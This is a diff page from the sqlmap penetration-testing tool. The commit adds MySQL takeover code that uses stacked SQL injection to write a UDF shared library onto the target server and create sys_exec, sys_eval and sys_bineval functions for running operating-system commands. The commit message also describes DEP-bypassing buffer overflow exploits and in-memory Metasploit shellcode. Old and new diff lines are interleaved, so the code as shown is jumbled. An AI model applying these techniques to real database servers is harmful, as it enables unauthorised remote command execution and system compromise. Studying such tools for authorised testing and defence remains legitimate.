mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
This commit is contained in:
Bernardo Damele
@@ -33,7 +33,6 @@ from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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@@ -62,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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"""
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def __init__(self):
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self.__basedir = None
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self.excludeDbsList = MYSQL_SYSTEM_DBS
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self.__basedir = None
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self.__datadir = None
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self.excludeDbsList = MYSQL_SYSTEM_DBS
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self.sysUdfs = {
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# UDF name: UDF return data-type
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"sys_exec": { "return": "int" },
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"sys_eval": { "return": "string" },
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"sys_bineval": { "return": "int" }
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}
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Enumeration.__init__(self, "MySQL")
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Filesystem.__init__(self)
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@@ -368,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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logger.info(infoMsg)
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if detailed == False:
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self.cleanup(onlyFileTbl=True)
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return
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self.cleanup(onlyFileTbl=True)
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@@ -483,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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logger.debug(debugMsg)
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
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inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
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inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
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if confirm == True:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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def udfInit(self):
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def udfSetRemotePath(self):
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self.getVersionFromBanner()
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banVer = kb.bannerFp["dbmsVersion"]
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dFile = None
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wFile = paths.SQLMAP_UDF_PATH
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lib = "libsqlmapudf%s" % randomStr(lowercase=True)
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# On Windows
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if kb.os == "Windows":
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wFile += "/mysql/windows/lib_mysqludf_sys.dll"
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libExt = "dll"
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else:
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wFile += "/mysql/linux/lib_mysqludf_sys.so"
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libExt = "so"
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# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
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if banVer >= "5.1.19":
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if self.__basedir is None:
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logger.info("retrieving MySQL base directory absolute path")
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for udf in ( "sys_exec", "sys_eval" ):
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if udf in self.createdUdf:
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continue
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
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self.__basedir = inject.getValue("SELECT @@basedir")
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self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
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logger.info("checking if %s UDF already exist" % udf)
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query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
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exists = inject.getValue(query, resumeValue=False, unpack=False)
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if exists == "1":
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message = "%s UDF already exists, do you " % udf
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message += "want to overwrite it? [y/N] "
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output = readInput(message, default="N")
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if output and output in ("y", "Y"):
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self.udfToCreate.add(udf)
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else:
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self.udfToCreate.add(udf)
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if len(self.udfToCreate) > 0:
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# On Windows
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if kb.os == "Windows":
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# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
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if banVer >= "5.1.19":
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if self.__basedir == None:
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logger.info("retrieving MySQL base directory absolute path")
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
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self.__basedir = inject.getValue("SELECT @@basedir")
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self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
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if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
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kb.os = "Windows"
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# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
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dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
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logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
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# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
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# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
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else:
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#logger.debug("retrieving MySQL data directory absolute path")
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
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#datadir = inject.getValue("SELECT @@datadir")
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# NOTE: specifying the relative path as './udf.dll'
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# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
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datadir = "."
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datadir = os.path.normpath(datadir.replace("\\", "/"))
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if re.search("[\w]\:\/", datadir, re.I):
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if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
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kb.os = "Windows"
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# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
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# C:\WINDOWS\system32, @@basedir\bin or @@datadir
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dFile = "%s/%s.%s" % (datadir, lib, libExt)
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# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
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self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
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# On Linux
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logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
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# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
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# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
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else:
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# The SO can be in either /lib, /usr/lib or one of the
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# paths specified in /etc/ld.so.conf file, none of these
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# paths are writable by mysql user by default
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# TODO: test with plugins folder on MySQL >= 5.1.19
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dFile = "/usr/lib/%s.%s" % (lib, libExt)
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#logger.debug("retrieving MySQL data directory absolute path")
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self.writeFile(wFile, dFile, "binary", False)
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
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#self.__datadir = inject.getValue("SELECT @@datadir")
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for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
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if udf in self.createdUdf:
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continue
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# NOTE: specifying the relative path as './udf.dll'
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# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
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self.__datadir = "."
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self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
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if udf in self.udfToCreate:
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logger.info("creating %s UDF from the binary UDF file" % udf)
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if re.search("[\w]\:\/", self.__datadir, re.I):
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kb.os = "Windows"
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
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inject.goStacked("DROP FUNCTION %s" % udf)
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inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
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else:
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logger.debug("keeping existing %s UDF as requested" % udf)
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# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
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# C:\WINDOWS\system32, @@basedir\bin or @@datadir
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self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
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# On Linux
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else:
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# The SO can be in either /lib, /usr/lib or one of the
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# paths specified in /etc/ld.so.conf file, none of these
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# paths are writable by mysql user by default
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# TODO: test with plugins folder on MySQL >= 5.1.19
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self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
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def udfCreateFromSharedLib(self, udf, inpRet):
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if udf in self.udfToCreate:
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logger.info("creating UDF '%s' from the binary UDF file" % udf)
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ret = inpRet["return"]
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
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inject.goStacked("DROP FUNCTION %s" % udf)
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inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
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self.createdUdf.add(udf)
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else:
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logger.debug("keeping existing UDF '%s' as requested" % udf)
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def udfInjectCmd(self):
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self.udfLocalFile = paths.SQLMAP_UDF_PATH
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self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
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if kb.os == "Windows":
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self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
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self.udfSharedLibExt = "dll"
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else:
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self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
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self.udfSharedLibExt = "so"
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self.udfInjectCore(self.sysUdfs)
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self.envInitialized = True
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debugMsg = "creating a support table to write commands standard "
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debugMsg += "output to"
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logger.debug(debugMsg)
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self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
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def uncPathRequest(self):
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if kb.stackedTest == False:
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